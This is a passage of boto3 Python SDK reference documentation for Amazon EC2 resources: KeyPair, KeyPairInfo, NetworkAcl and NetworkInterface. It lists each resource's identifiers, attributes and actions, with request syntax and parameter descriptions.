[key_pair_id](#EC2.KeyPair.key_pair_id "EC2.KeyPair.key_pair_id") +- [tags](#EC2.KeyPair.tags "EC2.KeyPair.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPair.delete "EC2.KeyPair.delete") +- [get_available_subresources()](#EC2.KeyPair.get_available_subresources "EC2.KeyPair.get_available_subresources") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPair's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + The SHA-1 digest of the DER encoded private key. + + +key_material + +- _(string) --_ + + An unencrypted PEM encoded RSA private key. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +[KeyPairInfo](#id1243) +-------------------------------------------------------------------- + +_class_ EC2.KeyPairInfo(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPairInfo: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair_info = ec2.KeyPairInfo('name') + +Parameters + +**name** (_string_) -- The KeyPairInfo's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPairInfo.name "EC2.KeyPairInfo.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPairInfo.key_fingerprint "EC2.KeyPairInfo.key_fingerprint") +- [key_name](#EC2.KeyPairInfo.key_name "EC2.KeyPairInfo.key_name") +- [key_pair_id](#EC2.KeyPairInfo.key_pair_id "EC2.KeyPairInfo.key_pair_id") +- [tags](#EC2.KeyPairInfo.tags "EC2.KeyPairInfo.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPairInfo.delete "EC2.KeyPairInfo.delete") +- [get_available_subresources()](#EC2.KeyPairInfo.get_available_subresources "EC2.KeyPairInfo.get_available_subresources") +- [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") +- [reload()](#EC2.KeyPairInfo.reload "EC2.KeyPairInfo.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPairInfo's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + If you used CreateKeyPair to create the key pair, this is the SHA-1 digest of the DER encoded private key. If you used ImportKeyPair to provide AWS the public key, this is the MD5 public key fingerprint as specified in section 4 of RFC4716. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair_info.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.reload() + +Returns + +None + +[NetworkAcl](#id1244) +------------------------------------------------------------------ + +_class_ EC2.NetworkAcl(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkAcl: + +import boto3 + +ec2 = boto3.resource('ec2') +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkAcl.id "EC2.NetworkAcl.id") + +These are the resource's available attributes: + +- [associations](#EC2.NetworkAcl.associations "EC2.NetworkAcl.associations") +- [entries](#EC2.NetworkAcl.entries "EC2.NetworkAcl.entries") +- [is_default](#EC2.NetworkAcl.is_default "EC2.NetworkAcl.is_default") +- [network_acl_id](#EC2.NetworkAcl.network_acl_id "EC2.NetworkAcl.network_acl_id") +- [owner_id](#EC2.NetworkAcl.owner_id "EC2.NetworkAcl.owner_id") +- [tags](#EC2.NetworkAcl.tags "EC2.NetworkAcl.tags") +- [vpc_id](#EC2.NetworkAcl.vpc_id "EC2.NetworkAcl.vpc_id") + +These are the resource's available references: + +- [vpc](#EC2.NetworkAcl.vpc "EC2.NetworkAcl.vpc") + +These are the resource's available actions: + +- [create_entry()](#EC2.NetworkAcl.create_entry "EC2.NetworkAcl.create_entry") +- [create_tags()](#EC2.NetworkAcl.create_tags "EC2.NetworkAcl.create_tags") +- [delete()](#EC2.NetworkAcl.delete "EC2.NetworkAcl.delete") +- [delete_entry()](#EC2.NetworkAcl.delete_entry "EC2.NetworkAcl.delete_entry") +- [get_available_subresources()](#EC2.NetworkAcl.get_available_subresources "EC2.NetworkAcl.get_available_subresources") +- [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") +- [reload()](#EC2.NetworkAcl.reload "EC2.NetworkAcl.reload") +- [replace_association()](#EC2.NetworkAcl.replace_association "EC2.NetworkAcl.replace_association") +- [replace_entry()](#EC2.NetworkAcl.replace_entry "EC2.NetworkAcl.replace_entry") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkAcl's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations + +- _(list) --_ + + Any associations between the network ACL and one or more subnets + + - _(dict) --_ + + Describes an association between a network ACL and a subnet. + + - **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + +entries + +- _(list) --_ + + One or more entries (rules) in the network ACL. + + - _(dict) --_ + + Describes an entry in a network ACL. + + - **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + - **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + - **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + +is_default + +- _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + +network_acl_id + +- _(string) --_ + + The ID of the network ACL. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +tags + +- _(list) --_ + + Any tags assigned to the network ACL. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC for the network ACL. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_entry(kwargs_) + +Creates an entry (a rule) in a network ACL with the specified rule number. Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. Each network ACL has a set of ingress rules and a separate set of egress rules. + +We recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). This makes it easier to add a rule between existing ones without having to renumber the rules. + +After you add an entry, you can't modify it; you must either replace it, or create an entry and delete the old one. + +For more information about network ACLs, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAclEntry) + +**Request Syntax** + +response = network_acl.create_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + + Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_acl.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network ACL. You can't delete the ACL if it's associated with any subnets. You can't delete the default network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAcl) + +**Request Syntax** + +response = network_acl.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +delete_entry(kwargs_) + +Deletes the specified ingress or egress entry (rule) from the specified network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAclEntry) + +**Request Syntax** + +response = network_acl.delete_entry( + DryRun=True|False, + Egress=True|False, + RuleNumber=123 +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the rule is an egress rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to delete. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.reload() + +Returns + +None + +replace_association(kwargs_) + +Changes which network ACL a subnet is associated with. By default when you create a subnet, it's automatically associated with the default network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +This is an idempotent operation. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclAssociation) + +**Request Syntax** + +response = network_acl.replace_association( + AssociationId='string', + DryRun=True|False, + +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the current association between the original network ACL and the subnet. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **NewAssociationId** _(string) --_ + + The ID of the new association. + + +replace_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclEntry) + +**Request Syntax** + +response = network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to replace the egress rule. + + Default: If no value is specified, we replace the ingress rule. + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:bd8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to replace. + + +Returns + +None + +[NetworkInterface](#id1245) +------------------------------------------------------------------------------ + +_class_ EC2.NetworkInterface(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterface: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterface.id "EC2.NetworkInterface.id") + +These are the resource's available attributes: + +- [association_attribute](#EC2.NetworkInterface.association_attribute "EC2.NetworkInterface.association_attribute") +- [attachment](#EC2.NetworkInterface.attachment "EC2.NetworkInterface.attachment") +- [availability_zone](#EC2.NetworkInterface.availability_zone "EC2.NetworkInterface.availability_zone") +- [description](#EC2.NetworkInterface.description "EC2.NetworkInterface.description") +- [groups](#EC2.NetworkInterface.groups "EC2.NetworkInterface.groups") +- [interface_type](#EC2.NetworkInterface.interface_type "EC2.NetworkInterface.interface_type") +- [ipv6_addresses](#EC2.NetworkInterface.ipv6_addresses "EC2.NetworkInterface.ipv6_addresses") +- [mac_address](#EC2.NetworkInterface.mac_address "EC2.NetworkInterface.mac_address") +- [network_interface_id](#EC2.NetworkInterface.network_interface_id "EC2.NetworkInterface.network_interface_id") +- [outpost_arn](#EC2.NetworkInterface.outpost_arn "EC2.NetworkInterface.outpost_arn") +- [owner_id](#EC2.NetworkInterface.owner_id "EC2.NetworkInterface.owner_id") +- [private_dns_name](#EC2.NetworkInterface.private_dns_name "EC2.NetworkInterface.private_dns_name") +- [private_ip_address](#EC2.NetworkInterface.private_ip_address "EC2.NetworkInterface.private_ip_address") +- [private_ip_addresses](#EC2.NetworkInterface.private_ip_addresses "EC2.NetworkInterface.private_ip_addresses") +- [requester_id](#EC2.NetworkInterface.requester_id "EC2.NetworkInterface.requester_id") +- [requester_managed](#EC2.NetworkInterface.requester_managed "EC2.NetworkInterface.requester_managed") +- [source_dest_check](#EC2.NetworkInterface.source_dest_check "EC2.NetworkInterface.source_dest_check") +- [status](#EC2.NetworkInterface.status "EC2.NetworkInterface.status") +- [subnet_id](#EC2.NetworkInterface.subnet_id "EC2.NetworkInterface.subnet_id") +- [tag_set](#EC2.NetworkInterface.tag_set "EC2.NetworkInterface.tag_set") +- [vpc_id](#EC2.NetworkInterface.vpc_id "EC2.NetworkInterface.vpc_id") + +These are the resource's available references: + +- [association](#EC2.NetworkInterface.association "EC2.NetworkInterface.association") +- [subnet](#EC2.NetworkInterface.subnet "EC2.NetworkInterface.subnet") +- [vpc](#EC2.NetworkInterface.vpc "EC2.NetworkInterface.vpc") + +These are the resource's available actions: + +- [assign_private_ip_addresses()](#EC2.NetworkInterface.assign_private_ip_addresses "EC2.NetworkInterface.assign_private_ip_addresses") +- [attach()](#EC2.NetworkInterface.attach "EC2.NetworkInterface.attach") +- [create_tags()](#EC2.NetworkInterface.create_tags "EC2.NetworkInterface.create_tags") +- [delete()](#EC2.NetworkInterface.delete "EC2.NetworkInterface.delete") +- [describe_attribute()](#EC2.NetworkInterface.describe_attribute "EC2.NetworkInterface.describe_attribute") +- [detach()](#EC2.NetworkInterface.detach "EC2.NetworkInterface.detach") +- [get_available_subresources()](#EC2.NetworkInterface.get_available_subresources "EC2.NetworkInterface.get_available_subresources") +- [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") +- [modify_attribute()](#EC2.NetworkInterface.modify_attribute "EC2.NetworkInterface.modify_attribute") +- [reload()](#EC2.NetworkInterface.reload "EC2.NetworkInterface.reload") +- [reset_attribute()](#EC2.NetworkInterface.reset_attribute "EC2.NetworkInterface.reset_attribute") +- [unassign_private_ip_addresses()](#EC2.NetworkInterface.unassign_private_ip_addresses "EC2.NetworkInterface.unassign_private_ip_addresses") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterface's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_attribute + +- _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + +attachment + +- _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + +availability_zone + +- _(string) --_ + + The Availability Zone. + + +description + +- _(string) --_ + + A description. + + +groups + +- _(list) --_ + + Any security groups for the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +interface_type + +- _(string) --_ + + The type of network interface. + + +ipv6_addresses + +- _(list) --_ + + The IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + +mac_address + +- _(string) --_ + + The MAC address. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +- _(string) --_ + + The AWS account ID of the owner of the network interface. + + +private_dns_name + +- _(string) --_ + + The private DNS name. + + +private_ip_address + +- _(string) --_ + + The IPv4 address of the network interface within the subnet. + + +private_ip_addresses + +- _(list) --_ + + The private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes the private IPv4 address of a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + +requester_id + +- _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + +requester_managed + +- _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + +source_dest_check + +- _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + +status + +- _(string) --_ + + The status of the network interface. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. + + +tag_set + +- _(list) --_ + + Any tags assigned to the network interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction 